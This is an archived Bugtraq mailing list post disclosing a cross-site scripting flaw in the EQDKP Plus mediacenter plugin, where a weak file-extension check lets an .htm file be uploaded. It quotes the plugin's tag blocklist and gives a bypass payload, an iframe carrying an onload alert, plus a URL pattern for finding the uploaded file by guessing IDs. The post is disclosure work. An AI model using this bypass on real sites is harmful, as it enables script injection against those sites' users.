Home page logo

bugtraq logo Bugtraq mailing list archives

EQDKP plus Cross Site Scripting and Bypass file extension
From: "iPower N/A" <vb.win32 () gmail com>
Date: Fri, 17 Jun 2011 06:59:49 +0400


I have found a vulnerability in the EQDKP Plus.
More precisely in the plugin mediacenter.

Because of incorrectly checks the file extension
it is possible to upload the "htm" file and execute
XSS attack.

But with some restrictions. The plugin checks the contents for tags:

function check_content($fieldname){
$disallowed = "body|head|html|img|plaintext|a href|pre|script|table|title|php";
$disallowed_content = explode('|', $disallowed);
if (empty($disallowed_content))
                return false;

To get around this, you can use the Next design:
<iframe src="http://yandex.ru"; style="display: none" onload="alert('XSS')">

After downloading the file to the server, you can find the file on request:
http://site.com/dkp/plugins/mediacenter/index.php?mode=ajax&id = [ID].
[ID] - simple exhaustive search.


Vulnerable versions: <=

 Sorry for my bad english. :)

 Best Regards,

  By Date           By Thread  

Current thread:
  • EQDKP plus Cross Site Scripting and Bypass file extension iPower N/A (Jun 18)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]